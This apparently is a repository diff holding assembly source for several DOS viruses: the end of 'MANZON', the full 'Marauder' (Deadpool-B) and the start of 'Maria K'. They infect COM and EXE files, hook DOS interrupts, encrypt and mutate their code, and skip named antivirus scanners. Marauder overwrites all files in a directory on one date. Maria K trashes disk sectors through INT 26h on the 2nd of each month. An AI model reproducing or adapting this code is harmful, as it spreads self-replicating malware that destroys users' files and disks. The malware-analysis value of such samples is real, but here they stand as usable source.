;+ This is a very poor way to check the 2 first characters in a :+
;+ filename, but the asciicode will look nice =) :+
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
mov ax,word ptr es:[di+20h]
xchg al,ah
add ax,0302h
cmp ax,'F-' + 0302h ; Don't infect F-PROT
je short Skip_Infect
cmp ax,'SC' + 0302h ; Don't infect SCAN
je short Skip_Infect
cmp ax,'TB' + 0302h ; Don't infect TB*.* (TBAV)
je short Skip_Infect
cmp ax,'TO' + 0302h ; Don't infect TOOLKIT
je short Skip_Infect
cmp ax,'FV' + 0302h ; Don't infect FV386
je short Skip_Infect
cmp ax,'FI' + 0302h ; Don't infect FINDVIRU
je short Skip_Infect
cmp ax,'VI' + 0302h ; Don't infect VI*.*
je short Skip_Infect
cmp ax,'K-' + 0302h ; Don't infect R.L's stuff :)
je short Skip_Infect
Check_Com:
cmp word ptr es:[di+28h],'OC'
jne short Check_Exe
cmp byte ptr es:[di+2ah],'M'
jne short Check_Exe
or byte ptr es:[di+2],2 ; Set R&W Access
call Infect_Com
Check_Exe:
cmp word ptr es:[di+28h],'XE'
jne short Skip_Infect
cmp byte ptr es:[di+2ah],'E'
jne short Skip_Infect
or byte ptr es:[di+2],2 ; Set R&W Access
call Infect_Exe
Skip_Infect:
popa
pop es
pop ds
jmp DoOldInt
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
;+ Infect COM-file :+
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
Infect_Com:
push cs
pop ds
mov ax,4202h ; Go to EOF
xor cx,cx
cwd
int 21h ; Get filelength in AX
push ax
mov ax,4200h ; Go to SOF
xor cx,cx
cwd
int 21h
mov ah,3fh ; Read the 3 first bytes
mov cx,3
mov dx,offset buffer
int 21h
pop ax ; Get Filelength
sub ax,[orgep] ; Virus entrypoint, if file
cmp ax,filecodelength+100h ; is infected
jnb short LooksOk
cmp ax,filecodelength-10h
jb short LooksOk
jmp short DontInfect
LooksOk:
mov ax,4202h ; Go to EOF
xor cx,cx
cwd
int 21h
cmp ax,62000 ; Is file small enough?
jnb short DontInfect
sub ax,3 ; Make the first 3 bytes
mov word ptr ds:[buffer2+1],ax ; (jmp to eof (viruscode))
mov [IPOffs],100h ; Tell that offset is 100h
push bx
call WriteVirus
pop bx
mov ax,4200h ; Move to SOF
xor cx,cx
cwd
int 21h
mov ah,40h ; Write first 3 bytes
mov cx,3
mov dx,offset buffer2
int 21h
DontInfect:
ret
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
;+ Infect EXE-file :+
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
Infect_Exe:
push cs
pop ds
mov [File_H],bx
mov ax,4200h ; Go to SOF
xor cx,cx
cwd
int 21h
mov ah,3fh
mov cx,19h ; Size of EXE-header
mov dx,offset EXE_Header
int 21h
cmp word ptr ds:[EXE_Sig],'MZ' ; Be sure it's a real EXE.
je short ItIsAnExe
cmp word ptr ds:[EXE_Sig],'ZM'
je short ItIsAnExe
jmp short DontInfect
ItIsAnExe:
cmp byte ptr ds:[EXE_Win],40h ; Is it a NE-EXE?
je short DontInfect ; Don't infect.
xor eax,eax
xor ebx,ebx
xor ecx,ecx
les ax,dword ptr ds:[EXE_IP] ; get CS:IP in ES:AX
mov ds:Real_CS,es
mov ds:Real_IP,ax
push ax ; Save IP
push es ; Save CS
les ax,dword ptr ds:[EXE_SS] ; get SS:SP in AX:ES
mov ds:Real_SS,ax
mov ds:Real_SP,es
push es
pop bx ; SP in BX
shl eax,4 ; Build real SS:SP in EBX
add eax,ebx
pop cx ; Get CS in CX
pop bx ; Get IP in BX
shl ecx,4 ; Build real CS:IP in ECX
add ecx,ebx
sub eax,ecx ; EAX = SS:SP-CS:IP
cmp eax,(filecodelength+400)
jnb short NotInfected
cmp eax,filecodelength
jb short NotInfected
jmp SkipInfect
NotInfected:
xor eax,eax
mov bx,[File_H]
mov ax,4202h ; Go to EOF
xor cx,cx
cwd
int 21h ; Get filelength in dx:ax
xor ecx,ecx
xor ebx,ebx
mov cx, word ptr ds:[EXE_Siz] ; Get Siz/512 from header
mov bx, word ptr ds:[EXE_Mod] ; Get Siz mod 512 from header
shl ecx,9 ; Mul 512
add ecx,ebx ; Build Real memsize
mov bx,dx
shl ebx,16
add ebx,eax ; Build filesize in EBX
cmp ecx,ebx ; Is whole file loaded?
jb SkipInfect ; Nope, skip infect
xor ecx,ecx
push ax
pop cx ; Low word in cx
mov ax,dx
shl eax,16
add eax,ecx ; Build filesize in eax
mov edx,eax ; Save filesize
xor ebx,ebx
mov bx, word ptr ds:[EXE_SHe]
shl ebx,4 ; Build real Headersize
sub eax,ebx ; Filesize-Headersize=CS:IP!!
push eax ; Save new CS:IP for later use
call FixSegOffs ; Fix CS:IP so IP<10h
mov dword ptr ds:[EXE_IP],eax
mov [entry_p],ax ; Set virus entrypoint
mov [IPOffs],-3 ; No offset in EXE-files
mov bx,[File_H]
call WriteVirus ; Write virus to EOF
xor eax,eax
xor ebx,ebx
mov ax,word ptr ds:[EXE_Mod] ; Bytes on last page
mov bx,word ptr ds:[EXE_Siz] ; Size/512
shl ebx,9 ; Mul 512
add eax,ebx ; Make progsize
add eax,filecodelength ; Add code_size
xor ebx,ebx
mov bx,word ptr ds:[CLength]
add eax,ebx ; Add decryptsize
add eax,12 ; add InitCX,Loop etc
mov ebx,eax
shr ebx,9 ; Make new progsize/512
and ax,01ffh ; Make modulo
mov word ptr ds:[EXE_Siz],bx
mov word ptr ds:[EXE_Mod],ax
add word ptr ds:[EXE_Min],(code_size+100)/16
mov word ptr ds:[EXE_Max],-1
pop eax ; Get CS:IP
xor ebx,ebx
mov bx,word ptr ds:[CLength] ; Length of decryptor
add eax,ebx
add eax,12 ; Add INIT_CX, INIT_SI etc
add eax,VirStk-Code_Start ; Add pos of Stack
inc eax ; Add one byte and...
and al,0feh ; ...make sure it's even
call FixSegOffs ; Fix so SP<10h
mov word ptr ds:[EXE_SP],ax ; Save new SS:SP
shr eax,16
mov word ptr ds:[EXE_SS],ax ; Save new SS:SP
mov bx,[File_H]
mov ax,4200h ; Go to SOF
xor cx,cx
cwd
int 21h
mov ah,40h
mov cx,18h ; Size of EXE-header
mov dx,offset EXE_Header
int 21h ; Write new header
SkipInfect:
ret
FixSegOffs:
mov ebx,eax
xor ax,ax
shl eax,12
mov ax,bx
FixSegOffsLoop:
mov bx,ax
cmp bx,10h
jb short DoneFix
add eax,00010000h - 00000010h ; 1 para up..
jmp short FixSegOffsLoop
DoneFix:
ret
id db 'MANZON (c) '
db 'R' + 1
db 'e' + 2
db 'd' + 3
db '-' + 4
db 'A' + 5
db '/' + 6
db 'I' + 7
db 'R' + 8
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:
;+ Following code will check if virus is resident, +:
;+ allocate memory, copy virus to memory, set the new +:
;+ interrupt vector and transfer control to the program +:
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:
InstallVirus:
pop si ; Get Start of virus+3
push si ; Save it again for later use.
push ds ; push PSP for later use
push cs
pop ds
;+:+:+:+:+:+:+:+:+:+: Ceck if virus is active :+:+:+:+:+:+:+:+:+:+:+:
mov ax,0DCBAh
int 21h
cmp dx,ax
je short Installed ; Virus found in memory
;+:+:+:+:+:+:+:+:+:+: Allocate memory for virus :+:+:+:+:+:+:+:+:+:+:+:
mov ah,4ah ; Get top of memory
push ax
mov bx,-1
int 21h
sub bx,(code_size)/16+2 ; Resize memory allocation
pop ax
int 21h
mov ah,48h ; Allocate memory for Virus
mov bx,(code_size)/16+1
int 21h
jc short Installed ; If error then exit
dec ax ; dec AX to get pointer to MCB
mov es,ax
mov word ptr es:[1],8 ; Set DOS as owner of memory
sub ax,0fh ; 100 bytes from allocstart
mov es,ax ; to get same offset in TSR-code
;+:+:+:+:+:+:+:+:+:+:+:+: Copy virus to memory :+:+:+:+:+:+:+:+:+:+:+:
sub si,6
mov di,0100h
mov cx,code_size
rep movsb ; move 'em up
;****** Get adress of old INT21h and save it in the Do21-jump.
push es
pop ds
mov ax,3521h
int 21h
tbavfuck:
cmp word ptr es:[bx],05ebh
jne notbav
cmp byte ptr es:[bx+2],0eah
jne notbav
les bx,es:[bx+3]
jmp tbavfuck
notbav:
mov word ptr ds:[OldInt+2],es ; Save address to real INT
mov word ptr ds:[OldInt],bx ; in the JMP-string
;****** Set new INT21h
mov dx,offset NewVect ; Set New interruptvector
mov ax,2521h
int 21h
installed:
pop ax ; Get PSP
pop si
sub si,106h
cmp word ptr cs:[si+IPoffs],100h ; Are we in a COM-file
je short RestoreComFile
RestoreExeFile:
mov ds,ax ; Let ds contain PSP
mov es,ax ; Let es contain PSP
add ax,10h ; Get start of file
add word ptr cs:[si+Real_CS],ax ; Add start seg to CS
add ax,word ptr cs:[si+Real_SS]
mov ss,ax ; Get programs SS
mov sp,word ptr cs:[si+Real_SP] ; Get programs SP
sub sp,2 ; Fix right value for SP
push word ptr cs:[si+Real_CS]
push word ptr cs:[si+Real_IP]
xor ax,ax
xor bx,bx
xor cx,cx
xor dx,dx
mov si,ax
mov di,ax
mov bp,ax
retf
RestoreComFile:
mov ax,cs
mov ds,ax
mov es,ax
add si,offset buffer ; Restore real 3 first bytes
mov di,0100h
movsw
movsb
xor ax,ax
xor bx,bx
xor cx,cx
xor dx,dx
mov si,ax
mov di,ax
mov bp,ax
push 0100h
ret
SimpleCryptEnd:
StartDecryptSimple:
call GetIPLabel
GetIPLabel:
mov bp,sp
mov si,[bp]
sub si,GetIPLabel-SimpleCryptStart
mov cx, SimpleCryptEnd-SimpleCryptStart
Call DecryptSimple
pop ax
ret
EncryptDecryptSimple:
mov si,offset SimpleCryptStart
mov cx, SimpleCryptEnd-SimpleCryptStart
call DecryptSimple
ret
DecryptSimple:
db 02eh,080h,034h ; xor byte ptr cs:[si],?
DSRan db 0
inc si
loop DecryptSimple
ret
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
;+ Following code acts like a buffer in memory, and is not :+
;+ included when the virus is written to a file. :+
;+ (Normally known as the heap) :+
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
filecodeend: ; Label to calculate code_size,
; and to use when jumping to copy
; of EWD-routine
ED_buf db ED_end-ED_start dup (?) ; space for copy of en EWD-routine
File_H dw ? ; Filehandle
; Space for the created decryptionroutine
InitCX1 db ?,?,? ; mov cx,virsize+(0 to 7)
InitSI1 db ?,?,? ; mov si,offset start
CCode1 dd ?,?,?,?,?,?,?,? ; 1 to 15 decryptrows
dd ?,?,?,?,?,?,?
dd ?,? ; + loop statement
; Space for the created encryptionroutine
CCode2 dd ?,?,?,?,?,?,?,? ; 1 to 15 decryptrows
dd ?,?,?,?,?,?,?
dd ?,?
EXE_Header: ; Structure
EXE_Sig dw ? ; MZ or ZM
EXE_Mod dw ? ; size - int(size/512)
EXE_Siz dw ? ; size/512
EXE_Rel dw ? ; Relocation iems
EXE_SHe dw ? ; Size of header/16
EXE_Min dw ? ; Min mem/16
EXE_Max dw ? ; Max mem/16
EXE_SS dw ? ; Stack Segement
EXE_SP dw ? ; Stack Pointer
EXE_CHK dw ? ; Checksum
EXE_IP dw ? ; Instruction Pointer
EXE_CS dw ? ; Code Segment
EXE_Win db ? ; 40h if Windows EXE
VirStk: db 32 dup (?) ; Stack used by the virus (EXE only)
code_end:
end start
;===============================================================================
+610
View File
@@ -0,0 +1,610 @@
; "Marauder" Virus
; AKA Deadpool-B
;
; By Hellraiser
; Of Phalcon/Skism
;
; For virus reseach only
;
; I always wanted to release this source, so here it is. Now that it's been caught
; take a look at whats inside.
;
; I know it's no great thing, but it's good to learn from. It contains basic
; encryption, mutation, and INT 24 handling.
;
; I will be very upset if I see 100 new versions of this code with some lame kids
; name in place of mine. So just use it to learn from, it's very straight foward.
code segment 'code'
assume cs:code, ds:code, ss:code, es:code
org 0100h
dta EQU endcode + 10
headlength EQU headend - headstart
bodylength EQU bodyend - bodystart
encryptpart EQU bodyend - mixed_up
part1size EQU part2 - part1
part2size EQU parta - part2
partasize EQU partb - parta
partbsize EQU dude - partb
mutants EQU chris - part1
total_mutant EQU mutants / 2
encryptlength EQU encryptpart / 2
virus_size EQU headlength + bodylength + 5 ; head + body + int24 + 2
drive EQU endcode + 110
backslash EQU endcode + 111
orig_path EQU endcode + 113
dirdta EQU orig_path + 66
myid EQU 88h
toolarge EQU 65535 - virus_size
fileattr EQU 21
filetime EQU 22
filedate EQU 24
filename EQU 30
headstart:
jmp bodystart
db myid
headend:
realprogramstart:
db 90h, 90h, 90h
db 0cdh, 020h, 1ah, 1ah
realprogramend:
bodystart:
call deadpool
deadpool:
pop si
sub si,offset deadpool
call encrypt
jmp chris
enc_code dw 0000h
encrypt proc near
assume cs:code, ds:code, es:code, ss:code
part1_:
push ax
push bx
push cx
push dx
mov cx, encryptlength
mov bp, si
add si, offset bodyend
mov di,si
std
xor_loop:
lodsw
xor ax, [bp + enc_code]
stosw
loop xor_loop
done_:
mov si, bp
pop dx
pop cx
pop bx
pop ax
ret
;nop
encrypt endp
infect proc near
call encrypt
int 21h
call encrypt
ret
infect endp
mixed_up:
part1:
push dx
push cx
push bx
push ax
mov cx, encryptlength
mov bp, si
add si, offset mixed_up
mov di,si
cld
part2:
mov si, bp
pop ax
pop bx
pop cx
pop dx
parta:
mov bp, si
add si, offset endcode
mov di, si
push ax
push bx
push cx
push dx
mov cx, encryptlength
std
partb:
pop dx
pop cx
pop bx
pop ax
mov si, bp
dude:
; don't get any ideas lamer
hellraiser label byte
idbuffer db 0cdh, 20h,' [Marauder] 1992 Hellraiser - Phalcon/Skism. '
stringsize EQU ($ - hellraiser)
chris:
push es
mov ax,3524h
int 21h
mov [si + word ptr oint24], bx
mov [si + word ptr oint24 + 2], es
pop es
mov ax, 2524h
lea dx, [si + newint24]
int 21h
push si
mov ah, 47h
xor dl,dl
add si, offset orig_path
int 21h
pop si
mov ah,19h
int 21h
add al, 41h
mov byte ptr [si + offset drive], al
mov ax, '\:'
mov word ptr [si + offset backslash], ax
;mov byte ptr [si + offset defaultdrive], al
; here's my new tri-dimensional jmp displacement theory in play
push si
pop bp
lea si, [bp + offset oldjmp]
lea di, [bp + offset thisjmp]
mov cx,04h
cld
rep movsb
push bp
pop si
why:
mov ah,1ah
lea dx,[si + dta]
int 21h
mov ah,2ah
int 21h
cmp dx, 0202h
jne ff
jmp smash
ff:
mov ah,4eh
lea dx,[si + filespec]
mov cx, 07h
searchloop:
int 21h
jnc here
;jmp up
mov ah,1ah
lea dx,[si + dirdta]
int 21h
mov ah,3bh
lea dx,[si + offset rootdir]
int 21h
jc at_root
jmp why
at_root:
cmp byte ptr [si + donebefore], 01h
je notokey
mov al,01h
mov [si + donebefore], al
mov ah,4eh
xor cx,cx
mov cl,13h
lea dx, [si + dwildcards]
ffdloop:
int 21h
jnc okey
jmp far ptr nofilesfound
notokey:
mov ah,4fh
jmp ffdloop
okey:
mov ah,3bh
lea dx, [si + offset dirdta + filename]
int 21h
jc notokey
jmp why
here:
mov bx, word ptr [si + offset dta + fileattr]
mov word ptr [si + origattr], bx
mov ax,4301h
xor cx,cx
lea dx, [si + offset dta + filename]
int 21h
jc bad_file2
call openfile
jc bad_file2
mov word ptr [si + offset handle], ax
mov bx, word ptr [si + offset dta + filedate]
mov word ptr [si + origdate], bx
mov bx, word ptr [si + offset dta + filetime]
mov word ptr [si + origtime], bx
xchg bx, ax
mov ah, 3fh
mov cx, 4
lea dx, [si + oldjmp]
int 21h
cmp byte ptr [si + offset oldjmp + 3], myid
jne sick_of_it_all
bad_file:
mov ax,4301h
mov cx, word ptr [si + offset origattr]
lea dx, [si + offset dta + filename]
xor ch,ch
int 21h
mov ah,3eh
int 21h
bad_file2:
cmp ax, 05h
je dumb
cmp ax, 02h
je dumb
mov ah, 4fh
jmp searchloop
dumb:
jmp nofilesfound
sick_of_it_all:
cmp word ptr [si + offset oldjmp], 5a4dh
je bad_file
call seekeof
cmp ax,0010h
jb bad_file
cmp ax, toolarge
jae bad_file
sub ax,03h
mov [si + newjmp + 2], ah
mov [si + newjmp+ 1], al
mov [si + newjmp + 3], myid
mov ah, 0e9h
mov [si + newjmp], ah
xor al,al
mov [si + donebefore], al
inc word ptr [si + generation]
mov bp, si
call enc_enc
tryagain:
mov ah,2ch
int 21h
cmp dx, 0000h
je tryagain
mov word ptr [si + offset enc_code], dx
mov cl, 8
ror dx, cl
mov word ptr [si + offset mutantcode], dx
cmp dl, 30
jng encrypt_a
jmp encrypt_b
encrypt_a:
;mov bp, si
lea si,[bp + offset part1]
lea di,[bp + offset part1_]
mov cx, part1size
call dostring
lea si,[bp + offset part2]
lea di,[bp + offset done_]
mov cx, part2size
call dostring
jmp attach
encrypt_b:
lea si,[bp + offset parta]
lea di,[bp + offset part1_]
mov cx, part1size
call dostring
lea si,[bp + offset partb]
lea di,[bp + offset done_]
mov cx, part2size
call dostring
attach:
call enc_enc
mov si,bp
mov ah,40h
mov cx, bodyend - bodystart
add cx, 5
lea dx,[si + bodystart]
call infect
jc close_file
call seektof
mov ah,40h
mov cx, 4
lea dx,[si + offset newjmp]
int 21h
close_file:
mov ax,5701h
mov cx, word ptr [si + offset origtime]
mov dx, word ptr [si + offset origdate]
mov bx, word ptr [si + offset handle]
int 21h
mov ah, 3eh
int 21h
mov ax,4301h
mov cx, word ptr [si + offset origattr]
lea dx, [si + offset dta + filename]
xor ch,ch
int 21h
nofilesfound:
mov ah, 03bh
lea dx, [si + offset drive]
int 21h
restoredta:
mov ah, 1ah
mov dx, 080h
int 21h
push si
pop bp
mov ax, 2524h
lea dx, [si + oint24]
int 21h
lea si,[bp + offset thisjmp]
mov di,100h
mov cx,04h
cld
rep movsb
mov di, 0100h
jmp di
smash proc near
call enc_enc
mov ah, 4eh
mov cx, 07h
lea dx, [si + offset dwildcards] ;
r_loop:
int 21h
jc restoredta
call kill
mov ah, 4fh
jmp r_loop
smash endp
dostring proc near
cld
rep movsb
ret
dostring endp
enc_enc proc near
mov si, bp
add si, offset part1
mov di, si
mov cx, total_mutant
loop_xor:
lodsw
xor ax, [bp + mutantcode] ;
stosw
loop loop_xor
mov si, bp
ret
enc_enc endp
seektof proc near
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
ret
seektof endp
seekeof proc near
mov ax,4202h
xor dx,dx
xor cx,cx
int 21h
ret
seekeof endp
openfile proc near
mov ax,3d02h
lea dx, [si + offset dta + filename]
int 21h
ret
openfile endp
kill proc near
call openfile
jc return
mov bx, ax
push bx
call seekeof
mov bx, stringsize
div bx
mov cx, ax
pop bx
push cx
call seektof
pop cx
loop_:
push cx
mov ah, 40h
mov cx, stringsize
lea dx, [si + offset idbuffer]
int 21h
jc ender
pop cx
dec cx
jcxz ender
jmp loop_
ender:
mov ah, 3eh
int 21h
return:
ret
kill endp
filespec db '*.COM',0
dwildcards db '*.*',0
rootdir db '..',0
generation dw 0000
origdate dw ?
origtime dw ?
origattr db ?
handle dw ?
defaultdrive db ?
oldjmp db 09h, 0cdh, 020h, 90h
thisjmp db 4 dup (?)
newjmp db 4 dup (?)
mutantcode dw 0000
donebefore db 00
oint24 dd 00
bodyend:
; not encrypted
newint24:
xor al,al
iret
endcode:
code ends
end headstart
File diff suppressed because it is too large Load Diff
+625
View File
@@ -0,0 +1,625 @@
; VirusName : Maria K..
; Country : Sweden
; Author : The Unforiven / Immortal Riot
; Date : 26/09/1993
;
; This is a mutation of the "Bobvirus" written by Phalcon/Skism,
; Many thanks must go to the scratch coder of this one..(DA?)
;
; Mcafee Scan used to find this as "Cloud" Virus, But also
; as the "Beta" Virus. So..two guys in this little babe...
;
; This is a non-overwriting .COM files infector, it doesn't do
; anything to .EXE files, nor command.com. This goes memory
; resident. When it "goes-off", it prints out a "BOBism" every
; 5 minutes. If the virus finds itself in the memory, it will not
; go up again. It will NOT infect a program when you starts it,
; it's just the "printer-part" who is in memory"..
;
; This version is not encrypted as the original one, but instead,
; a hd-trasher has been added, so if some infected file is ran
; at the 2:nd every month, someone (me), will be very pleased..
;
; Scan v108 can't find this, BUT! S&S Toolkit 6.54 do find it!
; F-Prot (2.09) DON'T find this and TBScan can't identify it
; as the "original" virus, It says it's some "Unknown Virus".
;
; Okey, think that's all, have phun, and remember,
; livi'n ain't no crime!
;
CODE SEGMENT PUBLIC 'CODE'
ORG 100h
ASSUME CS:CODE,DS:CODE,SS:CODE,ES:CODE
DTA_fileattr EQU 21
DTA_filetime EQU 22
DTA_filedate EQU 24
DTA_filesize EQU 26
DTA_filename EQU 30
virus_marker equ 026FFh ; JMP WORD PTR
virus_marker2 equ 00104h ; 0104h
part1_size equ part1_end - part1_start
part2_size equ part2_end - part2_start
offset_off equ duh2
init_delay equ 5280 ; Initial delay
delay equ 400 ; Subsequent delay
num_Messages equ 7 ; Number of "Bob" messages
waves equ 7 ; Number of waves to go off after
infec_date equ 0606h ; Swedish National Day (0606)..
Counter equ 108h
D_Mess equ 110h
Int_08_Start equ 112h
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
; S&S Toolkit 6.54 (FindViru) "string" is placed at the "jmp word ptr duh",
; If you finds something to add here, then do! The place he placed his
; string is there the virus identify itselves, and I've failed with get
; the virus to work after some dully attempt to add some meanless shit.
; Anyhow..I must say that Alan kicks my ass here!..Eat my shorts!..
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
part1_start:
jmp word ptr duh
duh dw middle_part_end - part1_start + 100h
duh2 dw 0
part1_end:
middle_part_start:
middle_part_end:
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
;Part 2 begins: Dis is the D-Cool part
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
part2_start:
cld
call decrypt
mov si, offset Go
add si, offset_off
jmp si
encrypt_val db 00h
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
; Encrypt/Decrypt isn't really a "Crypt" Routine. Instead, it will check
; what day it if, and if it's the second (2:nd) any month, procedure Stone-
; Heart will blow off. Stoneheart makes your "heart"-drives be quite empty.
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
DECRYPT:
ENCRYPT:
mov ah,2ah ; Day-Checking..
int 21h ;
cmp dl,02 ; Check if day 02..
je STONEHEART ; If So..you're a lucky guy
jmp SORRY ; Otherwise..try with "date 02"..
STONEHEART: ; Name of her..
cli ;
mov ah,2 ; Starting right on..
cwd ; Starting it from 0.
mov cx,0100h ; Continue to 256....
int 026h ; No Exchauses!
jmp MARIA ; Jump For Joy..(J4J)..
MARIA: ; Yeah, her's other handle..
CLI ;
MOV AL,3 ; Continue with drive D..
MOV CX,700 ; Make drive d's heart fall apart..
MOV DX,00 ; Start from sector 0
MOV DS,[DI+99] ; Put random crap in DS
MOV BX,[DI+55] ; More crap in BX
CALL STONEHEART ; J4J..once again..
SORRY: ; I'm feeling soo sorry for you!
RET ; Cuz you managed to return!
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
; This used to be under Decrypt/Encrypt, but well, since I don't want
; no encryptions in this virus, I just remarked this..And well, Mcaffe's
; Beta String used to be place at "mov di, si", that might also be a little
; reason..Anyhow..since I didn't coded this from scratch, I can't deny you
; from modify in this code..So..Get your Encryption if you wants!
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
; MOV si, offset encrypt_val
; ADD si, offset_off
; MOV ah, byte ptr [si]
; MOV cx, offset part2_end - offset bam_bam
; ADD si, offset bam_bam - offset encrypt_val
; MOV di, si ; - "Beta-String used to be here..
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
xor_loop:
lodsb ; DS:[SI] -> AL
xor al, ah
stosb
loop xor_loop
ret
copy_rest_stuff:
; Copying routine
push si ; SI -> buffer3
call encrypt
mov cx, part2_size
pop dx
add dx, offset part2_start - offset buffer3
mov ah, 40h
int 21h
call decrypt ; See what to do..
bam_bam:
ret
buffer db 0CDh, 20h, 0, 0, 0, 0, 0, 0
buffer2 db part1_end - part1_start dup (?)
buffer3 dw ?
orig_path db 64 dup (?)
num_infec db 0 ; Infection wave number
infec_now db 0 ; Number files infected this time
root_dir db '\',0 ; Root Dir spec
com_mask db '*.com',0 ; Files to infect
dir_mask db '*.*',0 ; Files to search for..
back_dir db '..',0 ; Dot-Dot..
nest dw 0
DTA db 43 DUP (0) ; For use by infect_dir
Go: ; Proc there Mcaf "cloud" string is placed.
add si, offset buffer - offset Go
mov di, si
add di, offset buffer2 - offset buffer
cmp dx, infec_date ; Added this two lines, and
jz Go_Psycho ; "Cloud" string is gone...
mov cx, part1_size
rep movsb
mov ah, 47h ; Get directory
xor dl,dl ; Default drive
add si, offset orig_path - offset buffer - 8
int 21h ; in orig_path
jc Go_Error
mov ah, 3Bh ; Change directory
mov dx, si ; to the root dir
add dx, offset root_dir - offset orig_path
int 21h
jc Go_Error
add si, offset num_infec - offset orig_path
inc byte ptr [si] ; New infection wave
push si ; Save offset num_infec
add si, offset infec_now - offset num_infec
mov byte ptr [si], 3 ; Reset infection
; counter to 3
; for D-new run.
call traverse_fcn ; Do all the work
pop si ; Restore offset num_infec
cmp byte ptr [si], waves ; 10 infection waves?
jge Go_Psycho ; If so, activate
mov ah, 2Ah ; Get date
int 21h
cmp dx, infec_date ; Is it 06/06?
jz Go_Psycho ; If so, activate
Go_Error:
jmp quit ; And then quit
Go_Psycho:
jmp Psycho ; Yeah, right!
origattr db 0
origtime dw 0
origdate dw 0
filesize dw 0 ; Size of the uninfected file
oldhandle dw 0
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
;D-Traversal function begins
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
traverse_fcn proc near
push bp ; Create stack frame
mov bp,sp
sub sp,44 ; Allocate space for DTA
push si
jmp infect_directory
In_fcn:
mov ah,1Ah ;Set DTA
lea dx,word ptr [bp-44] ;to space allotted
int 21h ;Do it now, do it hard!
mov ah, 4Eh ;Find first
mov cx,16 ;Directory mask
mov dx,offset dir_mask ;*.*
add dx,offset_off
int 21h
jmp short isdirok
gonow:
cmp byte ptr [bp-14], '.' ;Is first char == '.'?
je short donext ;If so, loop again
lea dx,word ptr [bp-14] ;else load dirname
mov ah,3Bh ;and changedir there
int 21h ;Yup, yup
jc short donext ;Do next if invalid
mov si, offset nest ;Else increment nest
add si, offset_off
inc word ptr [si] ;nest++
call near ptr traverse_fcn ;recurse directory
donext:
lea dx,word ptr [bp-44] ;Load space allocated for DTA addr
mov ah,1Ah ;and set DTA to it
int 21h ;cause it might have changed
mov ah,4Fh ;Find next
int 21h
isdirok:
jnc gonow ;If OK, jmp elsewhere
